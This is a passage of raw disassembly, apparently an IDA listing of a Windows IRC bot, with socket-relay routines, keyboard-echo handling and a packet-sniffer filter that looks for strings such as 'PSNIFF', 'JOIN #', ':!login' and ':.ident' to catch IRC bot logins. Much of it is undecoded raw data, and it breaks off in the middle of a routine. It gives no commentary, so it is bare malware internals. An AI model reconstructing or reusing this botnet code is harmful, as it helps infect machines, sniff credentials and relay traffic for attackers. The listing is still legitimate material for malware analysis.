		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 28E9D0E8h, 4D8B9002h, 34C969C8h, 3B000002h, 248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0E93DE890h
		dd 0EDEB0228h, 0E913E890h, 8D500229h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22FE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22FE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 0E85359FFh,	22FE17Ch
		dd 30BD8090h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E0E6E853h, 6A90022Fh, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h,	8D022FE0h
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Fh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	81E89053h
		dd 0FF022FDFh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
		db 0DFh, 2Fh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	228E49Fh
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0DDCAE853h, 8D90022Fh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 0D8E89000h, 0FF0228E3h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 28E3A6E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh
		dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h
		dd 1CC483FFh, 0D9E89053h, 8B022FDCh, 9F39087Dh,	2A0h, 27D840Fh
		dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh,	5E445C7h
		dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
		dd 1FFFFh, 9E80000h, 8300009Ch,	458D0CC4h, 8D5350E4h, 0FFF78485h
		dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh,	88A00000h
		dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh
		dd 10F445h, 0ABF30000h,	8DAAAB66h, 8D50F445h, 5350C445h
		dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h
		dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h
		dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h,	0FFFF31BDh
		dd 850F01FFh, 0A3h, 0FD94858Dh,	0E850FFFFh, 95C0h, 75FF5353h
		dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh,	0FFFA889Dh
		dd 8985C6FFh, 3FFFFFAh,	20068h,	50016A00h, 0FA8A9D88h
		dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h
		dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh,	5650FFFFh
		dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h
		dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h
		dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h,	38A7E8h
		dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh,	0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434798h
		dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh
		dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF90FAh, 0E8905359h, 22FDA1Ch, 3E868h
		dd 9CE89000h, 570228E0h, 0FFFBA2E8h, 5B5E5FFFh,	4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 28DF82E8h,	15FF9002h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2FD49FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0D3CAE890h, 458B022Fh, 69106AD0h,	234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	0D346E856h
		dd 5690022Fh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 2FD2C3E8h, 0BB539002h, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2FD123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
